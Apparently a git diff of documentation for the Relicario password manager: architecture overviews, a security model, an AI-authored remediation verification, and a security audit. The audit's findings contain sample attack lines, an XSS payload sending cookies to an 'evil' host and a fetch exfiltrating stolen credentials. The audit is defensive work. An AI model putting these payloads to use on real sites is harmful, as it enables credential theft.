│ Depends on: idfoto-core, clap, anyhow, rpassword, arboard │
│ Depends on: relicario-core, clap, anyhow, rpassword, arboard │
└──────────────────────┬─────────────────────────────────────┘
│ uses
┌────────────────────────────────────────────────────────────┐
idfoto-core
relicario-core │
│ Platform-agnostic: bytes in, bytes out │
│ No filesystem, no network, no git │
│ │
│ ┌──────────┐ ┌──────────┐ ┌─────────┐ ┌────────────┐ │
│ │ crypto │ │ imgsecret│ │ entry │ │ vault │ │
│ │ │ │ │ │ │ │ │ │
│ │ KDF │ │ DCT │ │ Entry │ │ encrypt_ │ │
│ │ encrypt │ │ embed │ │ Manifest│ │ entry()
│ │ decrypt │ │ extract │ │ search │ │ decrypt_ │ │
│ │ │ │ QIM │ │ │ │ manifest() │ │
│ │ crypto │ │ imgsecret│ │ item + │ │ vault │
│ │ │ │ │ │ types │ │ │
│ │ KDF │ │ DCT │ │ Item │ │ encrypt_ │
│ │ encrypt │ │ embed │ │ Manifest│ │ item()
│ │ decrypt │ │ extract │ │ Settings│ │ decrypt_ │
│ │ │ │ QIM │ │ Backup │ │ manifest() │
│ │ │ │ │ │ Device │ │ ... │ │
│ └──────────┘ └──────────┘ └─────────┘ └────────────┘ │
│ │
Future: idfoto-wasm wraps this for browser extension
Future: JNI/Swift wrappers for Android/iOS
Consumed by: relicario-cli, relicario-wasm (extension),
relicario-server (pre-receive hook).
│ Future: JNI/Swift wrappers for Android/iOS. │
└────────────────────────────────────────────────────────────┘
```

61
docs/SECURITY.md Normal file
View File

@@ -0,0 +1,61 @@
# Relicario Security Model
## Cryptographic Protection
Relicario uses two-factor vault decryption:
1. **Passphrase** — user-memorized, zxcvbn score ≥3 required
2. **Reference image** — JPEG carrying 256-bit secret via DCT steganography
Key derivation: Argon2id (64 MiB memory, 3 iterations, 4 parallelism)
Encryption: XChaCha20-Poly1305 (192-bit nonce, 256-bit key)
## Manifest Integrity
The manifest (`manifest.enc`) is encrypted with AEAD, which provides:
- **Confidentiality**: Contents unreadable without master key
- **Integrity**: Any modification detected and rejected on decrypt
- **Authenticity**: Only master key holders can create valid ciphertexts
### What AEAD Does NOT Protect
- **Item deletion**: An attacker with write access can delete `.enc` files
or git-revert commits. The manifest decrypts successfully but won't
contain the deleted items.
- **Rollback attacks**: An attacker can replace `manifest.enc` with an
older valid version. AEAD accepts any ciphertext created with the key.
### Mitigation
Item deletion and rollback are detectable via **git history**:
```bash
git log --oneline items/
```
For environments where git history could be rewritten (force-push):
1. Enable device authentication (commit signing + pre-receive hook)
2. Use a git server that rejects non-fast-forward pushes
3. Regular backups with `relicario backup export`
## Device Authentication
When enabled, device authentication provides:
- **Commit authorship**: All commits signed by registered device keys
- **Push access control**: Deploy keys managed via Gitea API
- **Instant revocation**: One command cuts off both signing and push
See `docs/superpowers/specs/2026-05-02-device-authentication-design.md`.
## Access Control
Without device authentication, access control is transport-layer only:
- **CLI**: SSH key authentication to git remote
- **Extension**: Git credentials in browser storage
Device registration was optional before v0.4.0. With device auth enabled,
all commits must be signed by a registered device.

View File

@@ -0,0 +1,207 @@
# Architecture overview — Relicario
This is the cross-codebase entry point. It describes how the three Relicario codebases fit together, the contracts that flow between them, and the conventions they share. It is **deliberately thin**; the deep content lives in per-codebase docs.
> If you are about to make a change in a single codebase, read its `ARCHITECTURE.md` first:
>
> - [crates/relicario-core/ARCHITECTURE.md](../../crates/relicario-core/ARCHITECTURE.md)
> - [crates/relicario-cli/ARCHITECTURE.md](../../crates/relicario-cli/ARCHITECTURE.md)
> - [extension/ARCHITECTURE.md](../../extension/ARCHITECTURE.md)
>
> If you want historical *why*, see `docs/superpowers/specs/` — those are time-stamped decision artifacts. This overview describes what *is*.
## The three codebases
```
┌─────────────────────┐
│ relicario-core │
│ (Rust, no I/O) │
│ crypto · items │
│ manifest · stego │
└──────────┬──────────┘
┌─────────────────────┼─────────────────────┐
│ │ │
▼ ▼ ▼
┌────────────────┐ ┌────────────────────┐ (compiled to WASM
│ relicario-cli │ │ relicario-wasm │ inside the )
│ (Rust binary) │ │ (#[wasm_bindgen] │ extension │
│ │ │ bindings) │ │
│ filesystem + │ │ │ │
│ git + │ └────────┬───────────┘ │
│ clap UX │ │ │
└────────────────┘ ▼ │
┌─────────────────────┐ │
│ extension │ │
│ (TypeScript) │ │
│ popup · vault │ │
│ setup · content │ │
│ service worker │ │
└─────────────────────┘
```
| Codebase | Language | Role | Key boundary |
|---|---|---|---|
| `relicario-core` | Rust | Crypto, item types, manifest, attachments, imgsecret, generators. Pure, no I/O. | Only `bytes-in / bytes-out`. No filesystem, no git, no network. |
| `relicario-cli` | Rust binary | Wraps core with filesystem ops, git plumbing, clap UX. | Only entry point that runs without a browser; sole working interface during disaster recovery. |
| `relicario-wasm` | Rust → WASM | Thin `#[wasm_bindgen]` exports from core for the extension. | Compiles `relicario-core` to WASM; no extra logic. |
| `extension` | TypeScript | Browser-resident UI. Five entry-point bundles (popup, vault tab, setup, content script, service worker). | The service worker is the only crypto holder; popup/vault/content/setup never touch the master key. |
The CLI and the extension are **at parity**: every user-facing capability lands in both surfaces together. Diverging is allowed only with a documented reason. See the per-codebase docs for which surface owns which user flow.
## Inter-codebase contracts
There are four boundaries where the codebases agree on a wire format. Each is versioned independently.
### 1. Core → WASM ABI (Rust / JS edge)
The `relicario-wasm` crate is the JS/Rust contract. Every WASM export takes `JsValue` / `&[u8]` / `&str` and returns the same. Strings on the wire are JSON-encoded for any structured data; raw bytes for ciphertext / images / attachments.
Adding a new core capability for the extension requires:
1. Add the capability to `relicario-core/src/`.
2. Re-export through `lib.rs`.
3. Add a thin `#[wasm_bindgen]` wrapper to `relicario-wasm/src/lib.rs`.
4. Run `wasm-pack build` (via `npm run build:wasm` in `extension/`).
5. Use it from the extension's service worker (or setup wizard).
The `SessionHandle` is the cross-language opaque token: WASM owns the `Zeroizing<[u8;32]>` master key behind a numeric handle; JS only ever holds the number. JS calling `wasm.lock(handle)` zeroes the WASM-side memory and invalidates the handle.
### 2. Service worker ↔ popup / vault tab / content script (chrome.runtime messages)
All extension bundles other than the SW communicate with the SW exclusively via `chrome.runtime.sendMessage`. The protocol is defined in `extension/src/shared/messages.ts`:
- `PopupMessage` — sent by popup, vault tab, or setup wizard
- `ContentMessage` — sent by content scripts injected into web pages
- `Response` — returned by the SW: `{ ok: true, data?: ... } | { ok: false, error: string }`
Two **capability sets** in `messages.ts` gate which sender can issue which message:
- `POPUP_ONLY_TYPES` — accepted only from popup.html, vault.html, or setup.html
- `CONTENT_CALLABLE_TYPES` — accepted only from content scripts
The router (`service-worker/router/index.ts`) dispatches by sender. Adding a new message type requires adding it to one of the capability sets, **or it is silently rejected**. Vault tab parity (commit `a7dbf35`) is implemented by recognizing `vault.html` as a popup-class sender at the router level.
### 3. Vault on disk (shared by CLI and extension)
Every relicario vault — whether on disk for the CLI or in a git remote read by the extension — has the same layout:
```
<vault root>/
├── .relicario/
│ ├── salt # 32 bytes, random per vault, stays constant
│ ├── params.json # KdfParams: argon2_m, argon2_t, argon2_p
│ └── devices.json # [{ name, public_key }, ...]
├── manifest.enc # encrypted Manifest (browse-without-decrypt index)
├── settings.enc # encrypted VaultSettings
├── items/
│ └── <id>.enc # encrypted Item, one per file
└── attachments/
└── <item-id>/
└── <aid>.enc # encrypted attachment blob; aid is content-addressed SHA-256
```
The reference image (`reference.jpg`) lives **outside** the vault by convention — it is the second factor and the user's responsibility to safeguard. It is not in `.relicario/`, not in `items/`, and never committed to git.
This layout is not formally versioned — the **content** within each `.enc` file carries its own version byte (see § Versioning below). The directory layout itself is conventional and changes would be breaking.
### 4. Git remote API (extension's `GitHost`)
The extension cannot shell out to `git`; it talks to the remote via the host's REST API. Two implementations live in `extension/src/service-worker/`:
- `gitea.ts` — Gitea / Forgejo API
- `github.ts` — GitHub API
Both implement the `GitHost` interface in `git-host.ts`. Adding a third host (GitLab, Bitbucket, custom) means implementing that interface — the rest of the extension is host-agnostic.
The CLI does not use `GitHost`; it shells out to `git` directly via the hardened wrapper in `relicario-cli/src/helpers.rs:46`.
## Versioning strategy
There is no single "relicario format version." Each piece of the format is versioned independently so we can evolve without coordinated upgrades.
| Artifact | Where versioned | Current value | Failure mode on read |
|---|---|---|---|
| AEAD ciphertext | First byte of every `.enc` blob | `VERSION_BYTE = 0x02` (in `relicario-core/src/crypto.rs`) | `RelicarioError::Format` — refuses to attempt decryption |
| Manifest schema | `Manifest.schema_version` field | `2` (set in `relicario-core/src/manifest.rs`) | v1 manifests are explicitly rejected with a clear error |
| KDF parameters | `.relicario/params.json` | Vault-specific (initially m=64MiB, t=3, p=4) | Read at unlock; stored alongside the vault |
| Backup container | First 5 bytes of `.relbak`: magic `"RBAK"` + version byte | `0x01` (designed; see import/export spec) | Format-version error if newer-version backup is read by older binary |
| Device entry | `devices.json` array of `{ name, public_key }` | Unversioned (extend by adding optional fields) | — |
The intentional design: **no big-bang upgrades**. A user can run an older CLI against a newer vault as long as the AEAD version, manifest schema, and KDF params are still compatible.
## Where secrets live
The threat model differs by codebase. This is the per-secret per-codebase residence map:
| Secret | relicario-core | relicario-cli | extension SW | extension popup/vault/content/setup |
|---|---|---|---|---|
| Passphrase (UTF-8 bytes) | `Zeroizing<String>` only during a single `derive_master_key` call | Same, in `UnlockedVault::unlock_interactive` | Same, used briefly to derive master key inside WASM | Never seen — entered into a `<input type="password">`, sent to SW via `unlock` message, immediately forgotten |
| Reference image bytes | Held by caller; core only reads | Held by `UnlockedVault::unlock_interactive` long enough to extract the secret | Same | Setup wizard holds the bytes briefly during create/attach modes |
| Image secret (32 B) | `Zeroizing<[u8;32]>` during KDF | Same | Same | Never sees it |
| Master key | `Zeroizing<[u8;32]>` returned by `derive_master_key` | `UnlockedVault.master_key` for the lifetime of one CLI invocation | WASM-side memory behind an opaque `SessionHandle`; JS never sees the bytes | Never sees it |
| Item secret (password, card number, etc.) | `Zeroizing<String>` / `Zeroizing<Vec<u8>>` | Same | Briefly held in WASM during `item_decrypt`; results passed to popup as plaintext for display | Held in DOM (the user is staring at it); cleared when view changes |
| Device private key | — | Filesystem under `~/.config/relicario/devices/<name>.key` (mode 0600) | `chrome.storage.local.device_private_key` | — |
The popup / vault / content surfaces of the extension cannot decrypt an item independently — they all message the SW. Content scripts in particular get back already-prepared payloads (e.g. `{ username, password }`) from `fill_credentials` after the SW resolved everything.
The CLI keeps its master key in process memory; if the process exits or crashes, the key is gone (Zeroize on drop). There is no CLI session daemon. The `lock` subcommand exists only for UX parity with the extension and is a no-op.
## Build matrix
| Target | Tool | Output | When to run |
|---|---|---|---|
| Native CLI | `cargo build` (debug or `--release`) | `target/{debug,release}/relicario` | After CLI changes; for distribution |
| Native test suites | `cargo test` (workspace) | — | After any Rust change |
| WASM module | `wasm-pack build --target web` (via `npm run build:wasm`) | `extension/wasm/relicario_wasm{,_bg.wasm,.js}` | After core or wasm crate changes |
| Chrome extension | `webpack` (`npm run build`) | `extension/dist/` | After TS or WASM changes; for Chrome distribution |
| Firefox extension | `webpack --config webpack.firefox.config.js` (`npm run build:firefox`) | `extension/dist-firefox/` | After TS or WASM changes; for Firefox distribution |
| All extension targets | `npm run build:all` | Both `dist/` and `dist-firefox/` plus rebuilt WASM | Pre-release |
| Extension tests | `npm test` (vitest, happy-dom) | — | After TS changes |
The WASM build sequence matters: `wasm-pack` writes the binary into `extension/wasm/` before `webpack` picks it up. `npm run build:all` runs them in order. Manual builds need the same order.
## Test strategy at the workspace level
| Layer | Tool | Where | What it covers |
|---|---|---|---|
| Core unit tests | `cargo test -p relicario-core` | `crates/relicario-core/src/**/#[cfg(test)]` and `tests/*.rs` | Crypto round-trip, item serialization, manifest schema, generators, imgsecret embed/extract, format-v2 parsing |
| CLI integration tests | `cargo test -p relicario-cli` | `crates/relicario-cli/tests/*.rs` | End-to-end via `TestVault::init()` harness with synthetic JPEGs and `RELICARIO_TEST_*` env-var escape hatches; covers basic flows, edit + history (incl. TOTP), attachments, settings, vault detection |
| Extension unit tests | `npm test` (vitest) | `extension/src/**/__tests__/*.test.ts` | Component render + click handlers (mocked SW), router sender dispatch, SW handler logic (mocked WASM + chrome.storage) |
| End-to-end | none | — | No real-browser tests; mocks stand in. Build-vs-test gap is documented in extension/ARCHITECTURE.md |
Core tests use **fast Argon2id params** (m=256, t=1, p=1) so they don't take forever; the production path is the same code with real params. The CLI's `init` command always uses production-grade params even under tests.
## Conventions that span all three codebases
| Rule | Where enforced | Why |
|---|---|---|
| Master key only in `Zeroizing<[u8;32]>` | core types; CLI follows; extension WASM follows | Drop-on-scope-exit zeroization; never leaves stack |
| AEAD ciphertext starts with version byte | `core/crypto.rs` | Format identification; reject v1 blobs cleanly |
| Item IDs are random 16-char hex (64 bits) | `core/ids.rs` | Stable, short, no information leak |
| Attachment IDs are content-addressed (first 32 hex chars / 128 bits of SHA-256) | `core/ids.rs` | Dedup; integrity check |
| KDF input is length-prefixed | `core/crypto.rs` | Prevents `passphrase || image_secret` collisions |
| Git history is preserved as audit log; never squash | CLI commits; SW commits | Per-action history is a feature |
| Per-action git commits with structured messages | `cli` (via `commit_paths`); SW (via vault.ts helpers) | Greppable, useful as audit log |
| Hardened git invocations (`-c core.hooksPath=/dev/null` etc.) | CLI's `helpers::git_command`; SW does not shell out | Prevent hostile hooks; no GPG prompt holding key alive |
| Atomic writes (write `.tmp` → rename) | CLI's `session::atomic_write`; SW's vault.ts equivalents | Partial-write safety |
| Tests use synthesized JPEGs (`make_test_jpeg`), not committed binaries | Both Rust and TS test harnesses | Repo stays small; reproducible |
| Test-only env vars (`RELICARIO_TEST_*`) have no production fall-through | Verified in `relicario-cli` audit | Escape hatches don't leak into builds |
## Where to look next
| If you're working on... | Start with |
|---|---|
| Crypto, item types, manifest format | [`crates/relicario-core/ARCHITECTURE.md`](../../crates/relicario-core/ARCHITECTURE.md) |
| A new CLI command or a CLI bug | [`crates/relicario-cli/ARCHITECTURE.md`](../../crates/relicario-cli/ARCHITECTURE.md) |
| A new popup view, vault tab feature, or autofill change | [`extension/ARCHITECTURE.md`](../../extension/ARCHITECTURE.md) |
| A new SW message type | `extension/src/shared/messages.ts` (capability sets), then [`extension/ARCHITECTURE.md § Invariants`](../../extension/ARCHITECTURE.md) |
| A new GitHost (e.g. GitLab support) | `extension/src/service-worker/git-host.ts` (interface) and existing implementations |
| Adding a new item type | core's `item_types/` mod, then CLI's `build_*_item`/`edit_*` helpers, then extension's `popup/components/types/<type>.ts` |
| Threat model / why a primitive was chosen | `docs/superpowers/specs/2026-04-11-relicario-design.md` (historical, but authoritative for rationale) |
| Format of the import/export feature | `docs/superpowers/specs/2026-04-27-relicario-import-export-design.md` (designed but not yet implemented) |
| Running the full test suite | `cargo test && (cd extension && npm test)` |
| Bumping the WASM module after a core change | `cd extension && npm run build:wasm` |
## Stale spec docs
The `docs/superpowers/specs/` tree is **historical** — it captures the design decisions made at planning time. Some specs (e.g. `Plan 1A`, `1B`, `1C-α`/`β`/`γ`) describe work that has shipped. Do not edit them as if they were the architecture docs; instead update the appropriate `ARCHITECTURE.md`. The specs are valuable for *why* (why XChaCha20-Poly1305, why central-embed DCT, why two-factor with steganography); the architecture docs are valuable for *what* (current invariants, current flows, current contracts).

View File

@@ -0,0 +1,158 @@
# Verification: 2026-04-18 Initial Security Audit
**Verified by:** Claude Opus 4.5
**Date:** 2026-05-01
**Methodology:** Code inspection of referenced file paths and line numbers
---
## Summary
| Finding | File Exists | Lines Match Current | Vulnerability Status | Confidence |
|---------|-------------|---------------------|---------------------|------------|
| C1 - Setup web-accessible | ✅ | ❌ refactored | **FIXED** | 10/10 |
| C2 - Message router trusts all | ✅ | ❌ refactored | **FIXED** | 10/10 |
| C3 - Capture innerHTML XSS | ✅ | ❌ refactored | **FIXED** | 10/10 |
| C4 - Autofill no origin check | ✅ | ❌ refactored | **FIXED** | 10/10 |
| H1 - KDF unprefixed concat | ✅ | ❌ refactored | **FIXED** | 10/10 |
| H2 - Master key not zeroized | ✅ | ❌ refactored | **FIXED** | 9/10 |
| H3 - Passphrase gate cosmetic | ✅ | ❌ refactored | **FIXED** | 10/10 |
| H4 - Git shells out unsafely | ✅ | ❌ refactored | **FIXED** | 10/10 |
| H5 - WASM Math.random() | ✅ | ❌ refactored | **FIXED** | 10/10 |
| H6 - Modulo bias | ✅ | ❌ refactored | **FIXED** | 10/10 |
| H7 - rpassword outdated | ✅ | ✅ | **FIXED** | 10/10 |
| H8 - Storage plaintext | ✅ | ⚠️ partial | **ACKNOWLEDGED** | 8/10 |
**Verdict:** All CRITICAL and HIGH findings except H8 have been remediated. The codebase has been significantly refactored since this audit, making line number references obsolete but confirming fixes were applied.
---
## CRITICAL Findings
### C1: Setup wizard web-accessible
- **Original claim:** `web_accessible_resources` with `matches: ["<all_urls>"]` allows any website to inject vault config.
- **Current state:** `extension/manifest.json` line 38 shows `"web_accessible_resources": []` (empty array).
- **Router validation:** `router/index.ts` lines 29-71 verify sender origins (`isPopup`, `isSetup`, `isContent`) and return `unauthorized_sender` for invalid callers.
- **Status:** ✅ **FIXED**
### C2: Service-worker trusts every message
- **Original claim:** `index.ts:116-441` ignores `_sender` and trusts all messages.
- **Current state:** `service-worker/index.ts` is now 100 lines; message handling delegated to modular router.
- **Router checks:**
- `sender.frameId === 0` for content scripts (line 42)
- `sender.id === chrome.runtime.id` (line 43)
- Returns `{ ok: false, error: 'unauthorized_sender' }` for invalid senders
- **Status:** ✅ **FIXED**
### C3: Capture prompt innerHTML injection
- **Original claim:** `capture.ts:172-191` uses innerHTML with attacker-controlled strings in page DOM.
- **Current state:**
- Uses `createShadowHost()` (line 128) for closed Shadow DOM
- Builds DOM via `document.createElement` + `.textContent =` (lines 143-216)
- File header (lines 6-9) documents this pattern
- **Status:** ✅ **FIXED**
### C4: Autofill has no origin check
- **Original claim:** `get_autofill_candidates` accepts URL from message payload; `get_credentials` returns any entry by ID.
- **Current state in `content-callable.ts`:**
- Line 25: `const senderHost = safeHostname(sender.tab?.url ?? '')` — uses sender tab, not message
- Line 44: `if (!itemHost || itemHost !== senderHost) return { ok: false, error: 'origin_mismatch' }`
- Lines 46-51: TOFU origin-ack check before returning credentials
- **Status:** ✅ **FIXED**
---
## HIGH Findings
### H1: Argon2id unprefixed concatenation
- **Original claim:** `crypto.rs:225-227` has `password = passphrase || image_secret` without length prefix.
- **Current state at `crypto.rs:229-236`:**
```rust
let mut password = Zeroizing::new(Vec::with_capacity(8 + nfc_passphrase.len() + 8 + 32));
password.extend_from_slice(&(nfc_passphrase.len() as u64).to_be_bytes());
password.extend_from_slice(&nfc_passphrase);
password.extend_from_slice(&32u64.to_be_bytes());
password.extend_from_slice(image_secret);
```
Also includes NFC normalization (lines 224-227).
- **Status:** ✅ **FIXED**
### H2: Master key never zeroized
- **Original claim:** `Vec<u8>` from `derive_master_key` and intermediates leak into heap.
- **Current state:**
- `crypto.rs:212`: returns `Zeroizing<[u8; 32]>`
- `crypto.rs:232`: password wrapped in `Zeroizing::new()`
- `session.rs` (WASM/CLI): stores keys as `Zeroizing<[u8; 32]>`
- CLI rpassword calls wrapped in `Zeroizing::new()`
- **Note:** JS string zeroization remains a limitation (acknowledged).
- **Status:** ✅ **FIXED**
### H3: Passphrase strength gate cosmetic
- **Original claim:** Extension accepts any non-empty passphrase; CLI only requires 8 chars.
- **Current state:**
- `setup.ts:152,640`: `score < 3` disables button
- `setup.ts:784-789`: server-side re-validation before create
- `generators.rs:124-130`: `validate_passphrase_strength()` requires score >= 3
- **Status:** ✅ **FIXED**
### H4: Git shells out without guards
- **Original claim:** No hooks/gpgsign/editor isolation.
- **Current state in `helpers.rs:41-55`:**
```rust
cmd.args([
"-c", "core.hooksPath=/dev/null",
"-c", "commit.gpgsign=false",
"-c", "core.editor=true",
]);
```
Comment explicitly references "Audit H4".
- **Status:** ✅ **FIXED**
### H5: WASM Math.random()
- **Original claim:** `lib.rs:240-256` uses `Math.random()` for password generation.
- **Current state:** `generate_password` calls `core_generate_password` from relicario-core.
- **generators.rs:**
- Line 6: `use rand::rngs::OsRng;`
- Lines 61-64: Uses `Uniform::from()` with `OsRng`
- No `Math.random()` anywhere in codebase
- **Status:** ✅ **FIXED**
### H6: Modulo bias
- **Original claim:** `main.rs:308-317` uses `% CHARSET.len()`.
- **Current state in `generators.rs`:**
- Line 61: `let dist = Uniform::from(0..charset.len());`
- Line 63: `charset[dist.sample(&mut rng)]` — rejection sampling, no modulo
- **Status:** ✅ **FIXED**
### H7: rpassword 5.0.1 outdated
- **Original claim:** Uses deprecated `prompt_password_stderr`.
- **Current state:** `Cargo.toml` shows `rpassword = "7"`, uses `prompt_password`.
- **Status:** ✅ **FIXED**
### H8: Storage keeps apiToken/imageBase64 plaintext
- **Original claim:** `chrome.storage.local` stores PAT and reference image unencrypted.
- **Current state:** Still true — `popup-only.ts:139-141` stores `vaultConfig` and `imageBase64`.
- **Mitigation:** Acknowledged as design constraint; spec documents that filesystem access to browser profile compromises both factors.
- **Status:** ⚠️ **ACKNOWLEDGED** (not fixed, documented as acceptable tradeoff)
---
## Conclusion
The 2026-04-18 audit identified real vulnerabilities that existed at that time. **All CRITICAL and HIGH findings (C1-C4, H1-H7) have since been remediated** with the exact fixes recommended in the audit. The codebase underwent significant refactoring, making the original line number references obsolete.
H8 remains as an acknowledged design constraint inherent to Chrome extension architecture.
**The audit was accurate and the remediation was thorough.**

View File

@@ -0,0 +1,372 @@
# Relicario Security Audit Report
**Date:** 2026-04-18
**Scope:** Full static review of `crates/relicario-core/`, `crates/relicario-cli/`, `crates/relicario-wasm/`, `extension/src/`, both manifests, both webpack configs, and the design spec at `docs/superpowers/specs/2026-04-11-relicario-design.md`.
**Methodology:** Static review against the project's documented threat model.
---
## CRITICAL
### C1. Setup wizard is web-accessible — any website can pre-load attacker-controlled vault config and image into the extension
**File:** `extension/manifest.json:33-36`, `extension/manifest.firefox.json:38-40`; consumed by `extension/src/setup/setup.ts:540-568` and `extension/src/service-worker/index.ts:314-322`.
**Issue:** `setup.html` and `setup.js` are listed in `web_accessible_resources` with `matches: ["<all_urls>"]`. The setup page calls `chrome.runtime.sendMessage({ type: 'save_setup', config, imageBase64 })` from the *page context* (not from the extension popup), and the service worker accepts that message with no sender check at all (`_sender` is unused at `service-worker/index.ts:117`). Any page on the internet can:
1. Open or iframe `chrome-extension://<id>/setup.html` (it's web-accessible, so framing/loading is allowed).
2. Run JS inside that page that calls `chrome.runtime.sendMessage(extensionId, { type: 'save_setup', config: { hostType: 'github', hostUrl: 'https://api.github.com', repoPath: 'attacker/vault', apiToken: '...' }, imageBase64: '<attacker-jpeg>' })` — the setup page already has the chrome.runtime API available.
3. Even simpler: from setup.html itself, `chrome.runtime.sendMessage` is available without any external-extensions allow-list because setup.html runs in the extension's own origin once loaded.
The service worker overwrites `vaultConfig` and `imageBase64` in `chrome.storage.local` (`index.ts:315-318`) and resets `gitHost = null` so the new config takes effect on the next unlock. After this, the next time the user types their passphrase into the popup, the unlock flow reads the *attacker's* manifest from the *attacker's* repo using the *attacker's* image_secret + the user's passphrase — successfully unlocking, populating UI with attacker entries (which the attacker can craft to look like the user's familiar GitHub/Netflix entries), and silently writing any new credentials the user enters into the attacker-controlled repo.
This breaks the second of the four security invariants in the design spec ("Two-factor vault key. … Compromise of either alone is insufficient") because compromising *neither* factor is sufficient — silently swapping the image and remote bypasses the entire scheme.
**Why it matters:** This is the worst class of bug for a password manager: a drive-by attack that swaps the entire vault binding without any user prompt, with eventual full credential exfiltration on the next save/login.
**Remediation:**
1. Remove `setup.html`, `setup.js`, `relicario_wasm.js`, and `relicario_wasm_bg.wasm` from `web_accessible_resources` entirely. The setup page is opened with `chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') })` from the popup (`setup-wizard.ts:28`), which works fine without `web_accessible_resources` for own-origin tabs.
2. In the `save_setup` handler, validate the sender: require `sender.id === chrome.runtime.id` AND `sender.url?.startsWith(chrome.runtime.getURL('setup.html'))`. Reject all other senders.
3. If a vault is already configured, require an explicit user confirmation in the popup before overwriting — don't silently swap the binding.
4. Consider hashing the (config, imageBase64) tuple and surfacing a fingerprint to the user so a swap is at least visible.
---
### C2. Service-worker `chrome.runtime.onMessage` handler trusts every message — content scripts and any code running in the extension origin can dump the entire vault
**File:** `extension/src/service-worker/index.ts:116-441`.
**Issue:** The handler ignores `_sender` and treats every message identically. The content script runs on `<all_urls>` and is the natural attack surface — but in fact the handler does no isolation between content-script callers and popup callers. Concretely:
- A content script (one per page, injected on every site) can send `{ type: 'list_entries' }`, `{ type: 'search_entries', query: '' }`, then loop `{ type: 'get_entry', id }` for every id and ship full plaintext credentials off-domain via `fetch()`. The vault is unlocked once, then any page's content script can drain it.
- The content script as written (`fill.ts`, `icon.ts`, `capture.ts`) only reaches for `get_credentials` after the user clicks the injected "id" icon, but **chrome.runtime.sendMessage from the content script is not gated by user gesture**. A malicious page can't directly call into the extension, but if any other extension component ever introduces a vulnerability that lets attacker JS execute in the content-script world (XSS in the prompt UI — see C3 — or a future bug in icon.ts's DOM manipulation), that context can call every privileged message type.
- More immediately: the `get_credentials` handler (`index.ts:289-296`) returns the password to *any* caller, with no check that the requested `id` corresponds to a URL matching the calling tab's origin. Even the intended path from the content-script icon click could be coerced (a page replaces the icon's click handler before the click arrives, then sends `get_credentials` for an arbitrary `id` enumerated via `get_autofill_candidates` for *another* hostname). There is zero origin-binding between "what page asked for autofill" and "which credentials we hand back."
**Why it matters:** Once the vault is unlocked, the entire vault is reachable by anything that can post a chrome.runtime message — and the content script makes that reachable from any page DOM whose JS can race the content script's listener. This is a textbook vault-exfiltration path.
**Remediation:**
1. Split the message router into two surfaces. Popup-only operations (`unlock`, `lock`, `list_entries`, `get_entry`, `add_entry`, `update_entry`, `delete_entry`, `get_totp` for arbitrary id, `save_setup`, `get_setup_state`, `update_settings`, `get_blacklist`, `remove_blacklist`, `generate_password`) must reject if `sender.url` is not `chrome-extension://<id>/popup.html` or the setup page.
2. Content-script-callable operations (`get_autofill_candidates`, `get_credentials`, `check_credential`, `fill_credentials`, `blacklist_site`) must verify (a) `sender.tab?.id` matches the active tab and (b) the requested entry's stored URL hostname equals `new URL(sender.tab.url).hostname` before returning a password. Today there is no such check — `get_credentials` (`index.ts:289-296`) blindly trusts the id.
3. Require user confirmation in the popup before the first autofill on any new origin.
---
### C3. Capture prompt injects attacker-controlled DOM strings via `innerHTML` and is built on layered HTML escaping that is incomplete
**File:** `extension/src/content/capture.ts:172-191`, `escapeForHtml` at lines 270-274.
**Issue:** The capture prompt is appended to the *page's* DOM (`document.body.appendChild(container)`) with content like `${escapeForHtml(hostname)}` and `${escapeForHtml(displayUser)}` interpolated into a template literal that is then assigned to `innerHTML`. Two problems:
a) `escapeForHtml` uses the `div.textContent` round-trip trick. That escapes `&`, `<`, `>`, but **does not escape `"`**. The escaped value is then dropped into an HTML template inside `<strong style="color:#58a6ff">${escapeForHtml(hostname)}</strong>` — between tags, so quotes don't matter. **However** the value is also dropped into the textual sentence template surrounding it. This is currently safe for hostname (because URL hostnames cannot contain `<` or `&`), but `username` is interpolated as `${escapeForHtml(displayUser)}` where `displayUser = `(${username})``. The `username` value comes from `findUsernameValue(pwField)` (`capture.ts:26-67`) which walks the page's `<input>` values — every byte of which is attacker-controlled. A page can stuff an `<input value="<img src=x onerror=fetch('//evil/?'+document.cookie)>">` and get the prompt to render that image tag.
The textContent round-trip *does* escape `<`, `>`, and `&`, so injection of raw `<img>` tags is blocked. But:
b) The DOM the script is constructing lives in the **page's** document, not the extension's. Even if the escape were perfect, the page's existing CSS/JS sees the prompt and can read its DOM (`#relicario-capture-prompt`, `#relicario-save-btn`, etc.). Page JS can:
- Wait for the prompt to appear via `MutationObserver`, read the `<strong>` text to learn the username being saved.
- Programmatically `.click()` `#relicario-save-btn` to silently save attacker-substituted credentials to the user's vault. (The `Save` handler reads `username` and `password` from variables captured at `showPrompt` call time, so it'll save *correct* values — but the page can replace the button's click listener via `cloneNode`/`replaceWith` or wrap it.)
- Programmatically `.click()` `#relicario-never-btn` to suppress capture for the user's *real* sites by getting them blacklisted via a confusable hostname.
c) The injected button uses `id="relicario-save-btn"`. If the page has its own element with the same id, document.getElementById on subsequent saves returns whichever the browser returns first — generally the page's. Use a Shadow DOM or unique random ids per-prompt instead.
**Why it matters:** The capture flow is the easiest path to silent credential exfiltration. A malicious site can craft inputs and DOM such that submitting *any* form on the page causes the user's vault to capture and save attacker-chosen credentials labeled as the user's bank/email, or such that legitimate save prompts get `Never`-clicked and silently blacklisted.
**Remediation:**
1. Render the prompt inside a closed Shadow DOM: `const root = container.attachShadow({ mode: 'closed' });` then `root.innerHTML = ...`. Closed shadow DOM is invisible to the page's JS.
2. Replace `escapeForHtml(displayUser)` with `textContent` assignments rather than `innerHTML`. Construct the DOM with `document.createElement` + `.textContent =` for any attacker-derived strings.
3. Treat all values from `findUsernameValue` as fully untrusted; sanity-check they're not control characters or exceptionally long.
4. Do not use stable IDs (`relicario-save-btn`) on elements injected into a hostile DOM.
---
### C4. Autofill has no origin check — credentials handed to any page that asks
**File:** `extension/src/service-worker/index.ts:283-296`, `extension/src/content/icon.ts:63-91`.
**Issue:** `get_autofill_candidates` accepts a `url` field from the message payload, not from `sender.tab.url`. A content script (or, given C2, anything posting a message) supplies the URL. `findByUrl` (`vault.ts:117-137`) matches by hostname equality. Then `get_credentials` returns *any* entry by id with no URL check whatsoever (`index.ts:289-296`). So:
- A page at `evil.com` sends `{ type: 'get_autofill_candidates', url: 'https://github.com' }` → gets back the GitHub entry id.
- Then sends `{ type: 'get_credentials', id }` → receives the GitHub username + password in plaintext.
- Then ships them off via `fetch('https://evil.com/exfil', { body: ... })`.
